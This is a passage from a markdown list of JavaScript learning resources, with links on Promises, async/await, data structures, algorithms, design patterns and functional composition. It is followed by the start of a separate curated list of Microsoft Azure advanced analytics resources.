- 📜 [An Introduction to JavaScript Generators — Alice Kallaugher](https://dev.to/kallaugher/an-introduction-to-javascript-generators-1224)
### Videos
- 🎥 [JavaScript ES6 / ES2015 Set, Map, WeakSet and WeakMap — Traversy Media](https://www.youtube.com/watch?v=ycohYSx5h9w)
- 🎥 [The Differences between ES6 Maps and Sets — Steve Griffith](https://www.youtube.com/watch?v=m4abICrldQI)
- 🎥 [Javascript Generators - THEY CHANGE EVERYTHING - ES6 Generators Harmony Generators — LearnCode.academy](https://www.youtube.com/watch?v=QO07THdLWQo)
**[⬆ Back to Top](#table-of-contents)**
---
## 25. Promises
### Reference
- 📜 [Promise — MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)
### Articles
- 📜 [JavaScript Promises for Dummies ― Jecelyn Yeen](https://scotch.io/tutorials/javascript-promises-for-dummies)
- 📜 [Understanding promises in JavaScript — Gokul N K](https://hackernoon.com/understanding-promises-in-javascript-13d99df067c1)
- 📜 [Master the JavaScript Interview: What is a Promise? — Eric Elliott](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-promise-27fc71e77261)
- 📜 [An Overview of JavaScript Promises — Sandeep Panda](https://www.sitepoint.com/overview-javascript-promises/)
- 📜 [How to use Promises in JavaScript — Prashant Ram](https://medium.freecodecamp.org/promises-in-javascript-explained-277b98850de)
- 📜 [Implementing Promises In JavaScript — Maciej Cieslar](https://medium.freecodecamp.org/how-to-implement-promises-in-javascript-1ce2680a7f51)
- 📜 [JavaScript: Promises explained with simple real life analogies — Shruti Kapoor](https://codeburst.io/javascript-promises-explained-with-simple-real-life-analogies-dd6908092138)
- 📜 [Promises for Asynchronous Programming — Exploring JS](http://exploringjs.com/es6/ch_promises.html)
- 📜 [JavaScript Promises Explained By Gambling At A Casino — Kevin Kononenko](https://blog.codeanalogies.com/2018/08/26/javascript-promises-explained-by-gambling-at-a-casino/)
- 📜 [ES6 Promises: Patterns and Anti-Patterns — Bobby Brennan](https://medium.com/datafire-io/es6-promises-patterns-and-anti-patterns-bbb21a5d0918)
- 📜 [A Simple Guide to ES6 Promises — Brandon Morelli](https://codeburst.io/a-simple-guide-to-es6-promises-d71bacd2e13a)
- 📜 [The ES6 Promises — Manoj Singh Negi](https://codeburst.io/the-es6-promises-87a979ab27e4)
- 📜 [ES6 Promises in Depth — Nicolás Bevacqua](https://ponyfoo.com/articles/es6-promises-in-depth)
- 📜 [Playing with Javascript Promises: A Comprehensive Approach — Rajesh Babu](https://codeburst.io/playing-with-javascript-promises-a-comprehensive-approach-25ab752c78c3)
- 📜 [How to Write a JavaScript Promise — Brandon Wozniewicz](https://medium.freecodecamp.org/how-to-write-a-javascript-promise-4ed8d44292b8)
- 📜 [A Coding Writer’s Guide: An Introduction To ES6 Promises — Andrew Ly](https://medium.com/@andrewly07/a-coding-writers-guide-an-introduction-to-es6-promises-9ff9f9e88f6c)
- 📜 [Understanding Promises in JavaScript — Chris Noring](https://dev.to/itnext/reverse-engineering-understand-promises-1jfc)
- 📜 [Converting callbacks to promises — Zell Liew](https://dev.to/zellwk/converting-callbacks-to-promises-nhn)
- 📜 [JavaScript Promises: Zero To Hero Plus Cheat Sheet — Joshua Saunders](https://medium.com/dailyjs/javascript-promises-zero-to-hero-plus-cheat-sheet-64d75051cffa)
- 📜 [Promises - JavaScript concepts — Agney Menon](https://dev.to/boywithsilverwings/promises-javascript-concepts-293c)
- 📜 [Javascript `Promise` 101 — Igor Irianto](https://dev.to/iggredible/javascript-promise-101-3idl)
- 📜 [Simplify JavaScript Promises — Sunny Singh](https://dev.to/sunnysingh/simplify-javascript-promises-4djb)
- 📜 [The Lowdown on Promises — Aphinya Dechalert](https://medium.matcha.fyi/the-low-down-on-promises-af4a96bbb95f)
- 📜 [JavaScript Visualized: Promises & Async/Await — Lydia Hallie](https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke)
- 📜 [Promises in JavaScript — Peter Klingelhofer](https://dev.to/peterklingelhofer/promises-in-javascript-3h5k)
- 📜 [Best Practices for ES6 Promises — Basti Ortiz](https://dev.to/somedood/best-practices-for-es6-promises-36da)
- 📜 [Lo que debemos saber de EScript 2020 — Kike Sanchez](https://medium.com/zurvin/lo-que-debemos-saber-de-escript-2020-5fc61da5e4cd)
- 📜 [Promise Basics - javascript.info](https://javascript.info/promise-basics)
- 📜 [The Complete JavaScript Promise Guide](https://blog.webdevsimplified.com/2021-09/javascript-promises)
### Videos
- 🎥 [Let's Learn ES6 - Promises — Ryan Christiani](https://www.youtube.com/watch?v=vQ3MoXnKfuQ)
- 🎥 [JavaScript ES6 / ES2015 Promises — Traversy Media](https://www.youtube.com/watch?v=XJEHuBZQ5dU)
- 🎥 [Promises — Fun Fun Function](https://www.youtube.com/watch?v=2d7s3spWAzo)
- 🎥 [Error Handling Promises in JavaScript — Fun Fun Function](https://www.youtube.com/watch?v=f8IgdnYIwOU)
- 🎥 [Promises Part 1 - Topics of JavaScript/ES6 — The Coding Train](https://www.youtube.com/watch?v=QO4NXhWo_NM)
- 🎥 [JavaScript Promise in 100 Seconds](https://www.youtube.com/watch?v=RvYYCGs45L4)
- 🎥 [JavaScript Promise in 9 Minutes](https://youtu.be/3NjdOtHpcBM)
- 🎥 [JavaScript Promises In 10 Minutes — Web Dev Simplified ](https://www.youtube.com/watch?v=DHvZLI7Db8E)
**[⬆ Back to Top](#table-of-contents)**
---
## 26. async/await
### Reference
- 📜 [async/await — JavaScript.Info](https://javascript.info/async-await)
### Books
- 📜 [Eloquent JavaScript, 3rd Edition: Ch. 11 - Asynchronous Programming](https://eloquentjavascript.net/11_async.html)
- 📜 [Exploring JS: Asynchronous Programming](http://exploringjs.com/es6/ch_async.html)
### Articles
- 📜 [Understanding async/await in Javascript — Gokul N K](https://hackernoon.com/understanding-async-await-in-javascript-1d81bb079b2c)
- 📜 [Asynchronous Javascript using async/await — Joy Warugu](https://scotch.io/tutorials/asynchronous-javascript-using-async-await)
- 📜 [Modern Asynchronous JavaScript with async/await — Flavio Copes](https://flaviocopes.com/javascript-async-await/)
- 📜 [Asynchronous JavaScript: From Callback Hell to Async and Await — Demir Selmanovic](https://www.toptal.com/javascript/asynchronous-javascript-async-await-tutorial)
- 📜 [Javascript — ES8 Introducing async/await Functions — Ben Garrison](https://medium.com/@_bengarrison/javascript-es8-introducing-async-await-functions-7a471ec7de8a)
- 📜 [How to escape async/await hell — Aditya Agarwal](https://medium.freecodecamp.org/avoiding-the-async-await-hell-c77a0fb71c4c)
- 📜 [Understanding JavaScript’s async await — Nicolás Bevacqua](https://ponyfoo.com/articles/understanding-javascript-async-await)
- 📜 [JavaScript Async/Await: Serial, Parallel and Complex Flow — TechBrij](https://techbrij.com/javascript-async-await-parallel-sequence)
- 📜 [From JavaScript Promises to Async/Await: why bother? — Chris Nwamba](https://blog.pusher.com/promises-async-await/)
- 📜 [Flow Control in Modern JS: Callbacks to Promises to Async/Await — Craig Buckler](https://www.sitepoint.com/flow-control-callbacks-promises-async-await/)
- 📜 [JavaScript: Promises and Why Async/Await Wins the Battle — Nick Parsons](https://dzone.com/articles/javascript-promises-and-why-asyncawait-wins-the-ba)
- 📜 [How to improve your asynchronous Javascript code with async and await — Indrek Lasn](https://medium.freecodecamp.org/improve-your-asynchronous-javascript-code-with-async-and-await-c02fc3813eda)
- 📜 [Making Fetches Easy With Async Await — Mickey Sheridan](https://medium.com/@micksheridan.24/making-fetches-easy-with-async-await-8a1246efa1f6)
- 📜 [7 Reasons Why JavaScript Async/Await Is Better Than Plain Promises — Mostafa Gaafar](https://dev.to/gafi/7-reasons-to-always-use-async-await-over-plain-promises-tutorial-4ej9)
- 📜 [Asynchronous Operations in JavaScript — Jscrambler](https://dev.to/jscrambler/asynchronous-operations-in-javascript-2p6b)
- 📜 [JavaScript: Promises or async-await — Gokul N K](https://medium.com/better-programming/should-i-use-promises-or-async-await-126ab5c98789)
- 📜 [Async / Await: From Zero to Hero — Zhi Yuan](https://dev.to/zhiyuanamos/async-await-from-zero-to-hero-a22)
- 📜 [JavaScript Visualized: Promises & Async/Await — Lydia Hallie](https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke)
- 📜 [Making asynchronous programming easier with async and await — MDN](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous/Async_await)
- 📜 [JavaScript Async/Await Tutorial – Learn Callbacks, Promises, and Async/Await in JS by Making Ice Cream](https://www.freecodecamp.org/news/javascript-async-await-tutorial-learn-callbacks-promises-async-await-by-making-icecream/)
- 📜 [Better Than Promises - JavaScript Async/Await](https://blog.webdevsimplified.com/2021-11/async-await/)
### Videos
- 🎥 [Async + Await — Wes Bos](https://www.youtube.com/watch?v=9YkUCxvaLEk)
- 🎥 [Asynchrony: Under the Hood — Shelley Vohr](https://www.youtube.com/watch?v=SrNQS8J67zc)
- 🎥 [async/await in JavaScript - What, Why and How — Fun Fun Function](https://www.youtube.com/watch?v=568g8hxJJp4&index=3&list=PL0zVEGEvSaeHJppaRLrqjeTPnCH6)
- 🎥 [async/await Part 1 - Topics of JavaScript/ES8 — The Coding Train](https://www.youtube.com/watch?v=XO77Fib9tSI&index=3&list=PLRqwX-V7Uu6bKLPQvPRNNE65kBL62mVfx)
- 🎥 [async/await Part 2 - Topics of JavaScript/ES8 — The Coding Train](https://www.youtube.com/watch?v=chavThlNz3s&index=4&list=PLRqwX-V7Uu6bKLPQvPRNNE65kBL62mVfx)
- 🎥 [Complete Guide to JS Async & Await ES2017/ES8 — Colt Steele](https://www.youtube.com/watch?v=krAYA4rvbdA)
- 🎥 [Tips for using async/await in JavaScript — James Q Quick](https://www.youtube.com/watch?v=_9vgd9XKlDQ)
- 🎥 [JavaScript Async Await — Web Dev Simplified](https://www.youtube.com/watch?v=V_Kr9OSfDeU)
**[⬆ Back to Top](#table-of-contents)**
---
## 27. Data Structures
### Articles
- 📜 [Data Structures in JavaScript — Thon Ly](https://medium.com/siliconwat/data-structures-in-javascript-1b9aed0ea17c)
- 📜 [Algorithms and Data Structures in JavaScript — Oleksii Trekhleb](https://itnext.io/algorithms-and-data-structures-in-javascript-a71548f902cb)
- 📜 [Data Structures: Objects and Arrays ― Chris Nwamba](https://scotch.io/courses/10-need-to-know-javascript-concepts/data-structures-objects-and-arrays)
- 📜 [Data structures in JavaScript — Benoit Vallon](http://blog.benoitvallon.com/data-structures-in-javascript/data-structures-in-javascript/)
- 📜 [Playing with Data Structures in Javascript — Anish K.](https://blog.cloudboost.io/playing-with-data-structures-in-javascript-stack-a55ebe50f29d)
- 📜 [The Little Guide of Queue in JavaScript — Germán Cutraro](https://hackernoon.com/the-little-guide-of-queue-in-javascript-4f67e79260d9)
- 📜 [All algorithms writing with JavaScript in the book 'Algorithms Fourth Edition'](https://github.com/barretlee/algorithms)
- 📜 [Collection of classic computer science paradigms in JavaScript](https://github.com/nzakas/computer-science-in-javascript)
- 📜 [All the things you didn't know you wanted to know about data structures](https://github.com/jamiebuilds/itsy-bitsy-data-structures)
- 📜 [JavaScript Data Structures: 40 Part Series — miku86](https://dev.to/miku86/series/3259)
- 📜 [Data Structures: Understanding Graphs — Rachel Hawa](https://medium.com/javascript-in-plain-english/data-structures-understanding-graphs-82509d35e6b5)
- 📜 [Data Structures Two Ways: Linked List (Pt 1) — Freddie Duffield](https://dev.to/freddieduffield/data-structures-two-ways-linked-list-2n61)
- 📜 [Data Structures Two Ways: Linked List (Pt 2) — Freddie Duffield](https://dev.to/freddieduffield/data-structures-two-ways-linked-list-pt2-2i60)
- 📜 [Graph Data Structures Explained in JavaScript — Adrian Mejia](https://dev.to/amejiarosario/graph-data-structures-for-beginners-5edn)
### Videos
- 🎥 [Algorithms In Javascript | Ace Your Interview — Eduonix Learning Solutions](https://www.youtube.com/watch?v=H_EBPZgiAas&list=PLDmvslp_VR0zYUSth_8O69p4_cmvZEgLa)
- 🎥 [Data Structures and Algorithms in JavaScript — freeCodeCamp](https://www.youtube.com/watch?v=Gj5qBheGOEo&list=PLWKjhJtqVAbkso-IbgiiP48n-O-JQA9PJ)
- 🎥 [Learning JavaScript Data Structures and Algorithms: Sorting — Packt Video](https://www.youtube.com/watch?v=Ymh_AurrMbA)
- 🎥 [JavaScript Data Structures: Getting Started — Academind](https://www.youtube.com/watch?v=41GSinwoMYA&ab_channel=Academind)
**[⬆ Back to Top](#table-of-contents)**
---
## 28. Expensive Operation and Big O Notation
### Articles
- 📜 [Big O Notation in Javascript — César Antón Dorantes](https://medium.com/cesars-tech-insights/big-o-notation-javascript-25c79f50b19b)
- 📜 [Time Complexity/Big O Notation — Tim Roberts](https://medium.com/javascript-scene/time-complexity-big-o-notation-1a4310c3ee4b)
- 📜 [Big O in JavaScript — Gabriela Medina](https://medium.com/@gmedina229/big-o-in-javascript-36ff67766051)
- 📜 [Big O Search Algorithms in JavaScript — Bradley Braithwaite](https://www.bradoncode.com/blog/2012/04/big-o-algorithm-examples-in-javascript.html)
- 📜 [Algorithms in plain English: time complexity and Big-O Notation — Michael Olorunnisola](https://medium.freecodecamp.org/time-is-complex-but-priceless-f0abd015063c)
- 📜 [An Introduction to Big O Notation — Joseph Trettevik](https://dev.to/lofiandcode/an-introduction-to-big-o-notation-210o)
### Videos
- 🎥 [JavaScript: Intro to Big O Notation and Function Runtime — Eric Traub](https://www.youtube.com/watch?v=HgA5VOFan5E)
- 🎥 [Essential Big O for JavaScript Developers — Dave Smith](https://www.youtube.com/watch?v=KatlvCFHPRo)
- 🎥 [Big O Notation - Time Complexity Analysis — WebTunings](https://www.youtube.com/watch?v=ALl86xJiTD8)
**[⬆ Back to Top](#table-of-contents)**
---
## 29. Algorithms
### Articles
- 📜 [Data Structures and Algorithms using ES6](https://github.com/Crizstian/data-structure-and-algorithms-with-ES6)
- 📜 [Algorithms and data structures implemented in JavaScript with explanations and links to further readings](https://github.com/trekhleb/javascript-algorithms)
- 📜 [JS: Interview Algorithm](http://www.thatjsdude.com/interview/js1.html)
- 📜 [Algorithms in JavaScript — Thon Ly](https://medium.com/siliconwat/algorithms-in-javascript-b0bed68f4038)
- 📜 [JavaScript Objects, Square Brackets and Algorithms — Dmitri Grabov](https://medium.freecodecamp.org/javascript-objects-square-brackets-and-algorithms-e9a2916dc158)
- 📜 [Atwood's Law applied to CS101 - Classic algorithms and data structures implemented in JavaScript](https://github.com/felipernb/algorithms.js)
- 📜 [Data Structures and Algorithms library in JavaScript](https://github.com/yangshun/lago)
- 📜 [Collection of computer science algorithms and data structures written in JavaScript](https://github.com/idosela/algorithms-in-javascript)
- 📜 [Algorithms and Data Structures in JavaScript — Oleksii Trekhleb](https://dev.to/trekhleb/algorithms-and-data-structures-in-javascript-49i3)
**[⬆ Back to Top](#table-of-contents)**
---
## 30. Inheritance, Polymorphism and Code Reuse
### Reference
- 📜 [Inheritance in JavaScript — MDN](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Inheritance)
- 📜 [Class inheritance, super — JavaScript.Info](https://javascript.info/class-inheritance)
### Articles
- 📜 [Inheritance in JavaScript — Rupesh Mishra](https://hackernoon.com/inheritance-in-javascript-21d2b82ffa6f)
- 📜 [Simple Inheritance with JavaScript — David Catuhe](https://www.sitepoint.com/simple-inheritance-javascript/)
- 📜 [JavaScript — Inheritance, delegation patterns and Object linking — NC Patro](https://codeburst.io/javascript-inheritance-25fe61ab9f85)
- 📜 [Object Oriented JavaScript: Polymorphism with examples — Knoldus Blogs](https://blog.knoldus.com/object-oriented-javascript-polymorphism-with-examples/)
- 📜 [Program Like Proteus — A beginner’s guide to polymorphism in Javascript — Sam Galson](https://medium.com/yld-blog/program-like-proteus-a-beginners-guide-to-polymorphism-in-javascript-867bea7c8be2)
- 📜 [Object-oriented JavaScript: A Deep Dive into ES6 Classes — Jeff Mott](https://www.sitepoint.com/object-oriented-javascript-deep-dive-es6-classes/)
### Videos
- 🎥 [Inheritance in JavaScript — kudvenkat](https://www.youtube.com/watch?v=yXlFR81tDBM)
- 🎥 [JavaScript ES6 Classes and Inheritance — Traversy Media](https://www.youtube.com/watch?v=RBLIm5LMrmc)
- 🎥 [Polymorphism in JavaScript — kudvenkat](https://www.youtube.com/watch?v=zdovG9cuEBA)
**[⬆ Back to Top](#table-of-contents)**
---
## 31. Design Patterns
### Books
- 📜 [Learning JavaScript Design Patterns — Addy Osmani](https://addyosmani.com/resources/essentialjsdesignpatterns/book/)
### Articles
- 📜 [4 JavaScript Design Patterns You Should Know — Devan Patel](https://scotch.io/bar-talk/4-javascript-design-patterns-you-should-know)
- 📜 [JavaScript Design Patterns – Beginner's Guide to Mobile Web Development — Soumyajit Pathak](https://medium.com/beginners-guide-to-mobile-web-development/javascript-design-patterns-25f0faaaa15)
- 📜 [JavaScript Design Patterns — Akash Pal](https://medium.com/front-end-hacking/javascript-design-patterns-ed9d4c144c81)
- 📜 [Javascript Design Patterns: What They Are & How To Use Them — Patrick Simpson](https://seesparkbox.com/foundry/javascript_design_patterns)
- 📜 [JavaScript Design Patterns: Understanding Design Patterns in JavaScript - Sukhjinder Arora](https://blog.bitsrc.io/understanding-design-patterns-in-javascript-13345223f2dd)
- 📜 [All the 23 (GoF) design patterns implemented in Javascript — Felipe Beline](https://github.com/fbeline/Design-Patterns-JS)
- 📜 [The Power of the Module Pattern in JavaScript — jsmanifest](https://medium.com/better-programming/the-power-of-the-module-pattern-in-javascript-3c73f7cd10e8)
- 📜 [Design Patterns for Developers using JavaScript pt. I — Oliver Mensah](https://dev.to/omensah/design-patterns-for-developers-using-javascript----part-one--b3e)
- 📜 [Design Patterns for Developers using JavaScript pt. II — Oliver Mensah](https://dev.to/omensah/design-patterns-for-developers-using-javascript---part-two--3p39)
- 📜 [Design patterns in modern JavaScript development](https://levelup.gitconnected.com/design-patterns-in-modern-javascript-development-ec84d8be06ca)
- 📜 [Understanding Design Patterns: Iterator using Dev.to and Medium social networks! — Carlos Caballero](https://dev.to/carlillo/understanding-design-patterns-iterator-using-dev-to-and-medium-social-networks-3bdd)
- 📜 [JavaScript Design Patterns - Factory Pattern — KristijanFištrek](https://dev.to/kristijanfistrek/javascript-design-patterns-factory-pattern-562p)
- 📜 [JavaScript Design Pattern — Module Pattern - Factory Pattern — Moon](https://medium.com/javascript-in-plain-english/javascript-design-pattern-module-pattern-555737eccecd)
- 📜 [Design Patterns: Null Object - Carlos Caballero](https://medium.com/better-programming/design-patterns-null-object-5ee839e37892)
- 📜 [Strategy Pattern - Francesco Ciulla](https://dev.to/francescoxx/strategy-pattern-5oh)
- 📜 [Adapter Pattern - Francesco Ciulla](https://dev.to/francescoxx/adapter-pattern-5bjk)
- 📜 [The Power of Composite Pattern in JavaScript - jsmanifest](https://dev.to/jsmanifest/the-power-of-composite-pattern-in-javascript-2732)
- 📜 [In Defense of Defensive Programming - Adam Nathaniel Davis](https://dev.to/bytebodger/in-defense-of-defensive-programming-k45)
### Videos
- 🎥 [JavaScript Design Patterns — Udacity](https://www.udacity.com/course/javascript-design-patterns--ud989)
- 🎥 [JavaScript Patterns for 2017 — Scott Allen](https://www.youtube.com/watch?v=hO7mzO83N1Q)
**[⬆ Back to Top](#table-of-contents)**
---
## 32. Partial Applications, Currying, Compose and Pipe
### Books
- 📜 [Functional-Light JavaScript: Ch. 3 - Managing Function Inputs — Kyle Simpson](https://github.com/getify/Functional-Light-JS/blob/master/manuscript/ch3.md)
### Articles
- 📜 [Use function composition in JavaScript — Rémi](https://www.codementor.io/michelre/use-function-composition-in-javascript-gkmxos5mj)
- 📜 [Currying in JavaScript ES6 — Adam Bene](https://blog.benestudio.co/currying-in-javascript-es6-540d2ad09400)
- 📜 [Composition and Currying Elegance in JavaScript — Pragyan Das](https://medium.com/@pragyan88/writing-middleware-composition-and-currying-elegance-in-javascript-8b15c98a541b)
- 📜 [Functional JavaScript: Function Composition For Every Day Use — Joel Thoms](https://hackernoon.com/javascript-functional-composition-for-every-day-use-22421ef65a10)
- 📜 [Functional Composition: compose() and pipe() — Anton Paras](https://medium.com/@acparas/what-i-learned-today-july-2-2017-ab9a46dbf85f)
- 📜 [Why The Hipsters Compose Everything: Functional Composing In JavaScript — A. Sharif](http://busypeoples.github.io/post/functional-composing-javascript/)
- 📜 [A Gentle Introduction to Functional JavaScript pt III: Functions for making functions — James Sinclair](https://jrsinclair.com/articles/2016/gentle-introduction-to-functional-javascript-functions/)
- 📜 [Curry And Compose (why you should be using something like ramda in your code) — jsanchesleao](https://jsleao.wordpress.com/2015/02/22/curry-and-compose-why-you-should-be-using-something-like-ramda-in-your-code/)
- 📜 [Function Composition in JavaScript with Pipe — Andy Van Slaars](https://vanslaars.io/post/create-pipe-function/)
- 📜 [Practical Functional JavaScript with Ramda — Andrew D'Amelio, Yuri Takhteyev](https://developer.telerik.com/featured/practical-functional-javascript-ramda/)
- 📜 [The beauty in Partial Application, Currying, and Function Composition — Joel Thoms](https://hackernoon.com/the-beauty-in-partial-application-currying-and-function-composition-d885bdf0d574)
- 📜 [Curry or Partial Application? — Eric Elliott](https://medium.com/javascript-scene/curry-or-partial-application-8150044c78b8)
- 📜 [Partial Application in JavaScript — Ben Alman](http://benalman.com/news/2012/09/partial-application-in-javascript/)
- 📜 [Partial Application of Functions — Functional Reactive Ninja](https://hackernoon.com/partial-application-of-functions-dbe7d9b80760)
- 📜 [Currying vs Partial Application — Deepak Gupta](https://towardsdatascience.com/javascript-currying-vs-partial-application-4db5b2442be8)
- 📜 [Partial Application in ECMAScript 2015 — Ragan Wald](http://raganwald.com/2015/04/01/partial-application.html)
- 📜 [Functional Composition in Javascript — Joe Cortopassi](https://joecortopassi.com/articles/functional-composition-in-javascript/)
- 📜 [So You Want to be a Functional Programmer pt. I — Charles Scalfani](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-1-1f15e387e536)
- 📜 [So You Want to be a Functional Programmer pt. II — Charles Scalfani](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-2-7005682cec4a)
- 📜 [So You Want to be a Functional Programmer pt. III — Charles Scalfani](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-3-1b0fd14eb1a7)
- 📜 [So You Want to be a Functional Programmer pt. IV — Charles Scalfani](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-4-18fbe3ea9e49)
- 📜 [So You Want to be a Functional Programmer pt. V — Charles Scalfani](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-5-c70adc9cf56a)
- 📜 [An introduction to the basic principles of Functional Programming — TK](https://medium.freecodecamp.org/an-introduction-to-the-basic-principles-of-functional-programming-a2c2a15c84)
- 📜 [Concepts of Functional Programming in Javascript — TK](https://medium.com/the-renaissance-developer/concepts-of-functional-programming-in-javascript-6bc84220d2aa)
- 📜 [An Introduction to Functional Programming Style in JavaScript — JavaScript Teacher](https://medium.freecodecamp.org/an-introduction-to-functional-programming-style-in-javascript-71fcc050f064)
- 📜 [A practical guide to writing more functional JavaScript — Nadeesha Cabral](https://medium.freecodecamp.org/a-practical-guide-to-writing-more-functional-javascript-db49409f71)
- 📜 [A simple explanation of functional pipe in JavaScript — Ben Lesh](https://dev.to/benlesh/a-simple-explanation-of-functional-pipe-in-javascript-2hbj)
### Videos
- 🎥 [Compose vs Pipe: Functional Programming in JavaScript — Chyld Studios](https://www.youtube.com/watch?v=Wl2ejJOqHUU)
- 🎥 [JavaScript Functional Programing: Compose — Theodore Anderson](https://www.youtube.com/watch?v=jigHxo9YR30)
- 🎥 [Function Composition - Functional JavaScript — NWCalvank](https://www.youtube.com/watch?v=mth5WpEc4Qs)
- 🎥 [JavaScript Function Composition Explained — Theodore Anderson](https://www.youtube.com/watch?v=Uam37AlzPYw)
- 🎥 [Let's code with function composition — Fun Fun Function](https://www.youtube.com/watch?v=VGB9HbL1GHk)
- 🎥 [Partial Application vs. Currying — NWCalvank](https://www.youtube.com/watch?v=DzLkRsUN2vE)
- 🎥 [JavaScript Partial Application — Theodore Anderson](https://www.youtube.com/watch?v=jkebgHEcvac)
- 🎥 [call, apply and bind method in JavaScript](https://www.youtube.com/watch?v=75W8UPQ5l7k&t=261s)
**[⬆ Back to Top](#table-of-contents)**
---
## 33. Clean Code
### Articles
- 📜 [Clean Code Explained – A Practical Introduction to Clean Coding for Beginners — freeCodeCamp](https://www.freecodecamp.org/news/clean-coding-for-beginners/)
- 📜 [Clean Code concepts adapted for JavaScript — Ryan McDermott](https://github.com/ryanmcdermott/clean-code-javascript)
- 📜 [Clean Code Practice: How to write clean code — Tirth Bodawala](https://www.atyantik.com/clean-code-practices-javascript/)
- 📜 [Function parameters in JavaScript Clean Code — Kevin Peters](https://medium.com/@kevin_peters/function-parameters-in-javascript-clean-code-4caac109159b)
- 📜 [Keeping your code clean — Samuel James](https://codeburst.io/keeping-your-code-clean-d30bcffd1a10)
- 📜 [Best Practices for Using Modern JavaScript Syntax — M. David Green](https://www.sitepoint.com/modern-javascript-best-practices/)
- 📜 [best practices for cross node/web development - Jimmy Wärting](https://github.com/cross-js/cross-js)
- 📜 [Writing Clean Code - Dylan Paulus](https://dev.to/ganderzz/on-writing-clean-code-57cm)
- 📜 [Writing Clean Code and The Practice of Programming - Nityesh Agarwal](https://dev.to/nityeshaga/writing-clean-code-and-the-practice-of-programming-actionable-advice-for-beginners-5f0k)
- 📜 [Clean code, dirty code, human code - Daniel Irvine](https://dev.to/d_ir/clean-code-dirty-code-human-code-6nm)
- 📜 [Practical Ways to Write Better JavaScript - Ryland G](https://dev.to/taillogs/practical-ways-to-write-better-javascript-26d4)
- 📜 [The Must-Know Clean Code Principles - Kesk on Medium](https://medium.com/swlh/the-must-know-clean-code-principles-1371a14a2e75)
- 📜 [The Clean Code Book - Robert C Martin](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882/)
### Videos
- 🎥 [JavaScript Pro Tips - Code This, NOT That](https://www.youtube.com/watch?v=Mus_vwhTCq0)
- 🎥 [Clean Code playlist - Beau teaches](https://www.youtube.com/watch?v=b9c5GmmS7ks&list=PLWKjhJtqVAbkK24EaPurzMq0-kw5U9pJh&index=1)
**[⬆ Back to Top](#table-of-contents)**
|
# Awesome Azure - Advanced Analytics [](https://awesome.re)
Awesome big data and advanced analytics resources for the Microsoft Azure Cloud
1. Azure General
1. AI and Machine Learning
1. Cloud Scale Analytics
## Contributing
Your contributions are welcomed! Please send a pull request to contribute. Make sure you check out the the [Markdown Syntax](https://guides.github.com/features/mastering-markdown/)
guide and add the link you want to contribute at the bottom of the appropriate category.
We are in a transition to adopt the best practice from [this](https://github.com/sindresorhus/awesome/blob/master/pull_request_template.md) list guideline.
As part of this efforts, your contributions are appreciated on the items with `- DESCRIPTION NEEDED.`, or the ones without the descriptions; You can verfity the link and add description. Try to avoid marketing message but use helpful/objective summary of what it is. Please end the sentence with `.`(dot).
:heart: are added to only hand-picked items (ideally less than 2-3 per category for visibility) for now. We welcome ideas to automate this process.
Check out the Issues section to share your ideas to improve this repo.
## Table of Contents
1. [Azure General](#azure-general)
- [Getting to know Azure](#getting-to-know-azure)
- [Training Resources](#training-resources)
- [Technical Certifications](#technical-certifications)
1. [AI and Machine Learning](#microsoft-ai-platform)
- Intelligent Apps and Agents
- [Azure Cognitive Services](#azure-cognitive-services)
- [Microsoft Bot Framework](#microsoft-bot-framework)
- Knowledge Mining
- [Azure Cognitive Search](#azure-cognitive-search)
- Machine Learning
- [Azure Machine Learning](#azure-machine-learning)
- [Deep Learning on Azure](#deep-learning-on-azure)
- [Jupyter Notebooks](#jupyter-notebooks)
- [Microsoft Machine Learning Server](#microsoft-machine-learning-server)
1. [Cloud Scale Analytics](#cloud-scale-analytics)
- [Azure Analysis Services](#azure-analysis-services)
- [Azure Cosmos DB](#azure-cosmos-db)
- [Azure Database for MariaDB](#azure-database-for-mariadb)
- [Azure Database for MySQL](#azure-database-for-mysql)
- [Azure Database for PostgreSQL](#azure-database-for-postgresql)
- [Azure Databricks](#azure-databricks)
- [Azure Data Catalog](#azure-data-catalog)
- [Azure Data Explorer](#azure-data-explorer)
- [Azure Data Factory](#azure-data-factory)
- [Azure Data Lake](#azure-data-lake)
- [Azure Event Hubs](#azure-event-hubs)
- [Azure HDInsight](#azure-hdinsight)
- [Azure IoT](#azure-iot)
- [Azure Redis Cache](#azure-redis-cache)
- [Azure SQL Database](#azure-sql-database)
- [Azure SQL Data Warehouse](#azure-sql-data-warehouse)
- [Azure Stream Analytics](#azure-stream-analytics)
- [Azure Time Series Insights](#azure-time-series-insights)
- [Microsoft Power BI](#microsoft-power-bi)
- - -
## Azure General
### Getting to know Azure
- [Free Azure Subscription](https://azure.microsoft.com/en-us/free/) - Guide on creating new free Azure subscription and get started on Azure.
- Understand Azure services
- :heart: [Azure Online Documentation](https://docs.microsoft.com/en-us/azure/) - Official go-to-page for most recent product documentation with quickstarts, samples, and tutorials.
- [Azure Periodic Table](http://www.concurrency.com/landing/azure-periodic-table) - One-page summary of Azure services
- [Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/) Find and deploy cloud softwares available on Azure.
- Code, Samples, Templates
- [Azure GitHub Repos](https://github.com/Azure) - APIs, SDKs and open source projects from Microsoft Azure.
- [Azure Code Samples](https://azure.microsoft.com/en-us/documentation/samples/)
- [Azure Quickstart Templates](https://azure.microsoft.com/en-us/documentation/templates/)
- Related Awesome lists
- [Awesome Azure: Azure for Startups](https://github.com/Azure-for-Startups/Content) - Startups key Azure resources and code sample.
- [Awesome Azure: Tools, Guides, Tutorials](https://github.com/wangyihaier/awesome-azure) - A curated list of awesome Microsoft Azure tools, guides, tutorials.
- [Awesome Azure: IoT](https://github.com/Azure/iot) - A curated list of awesome Azure Internet of Things projects and resources.
- Blogs, Forums, Newsletters
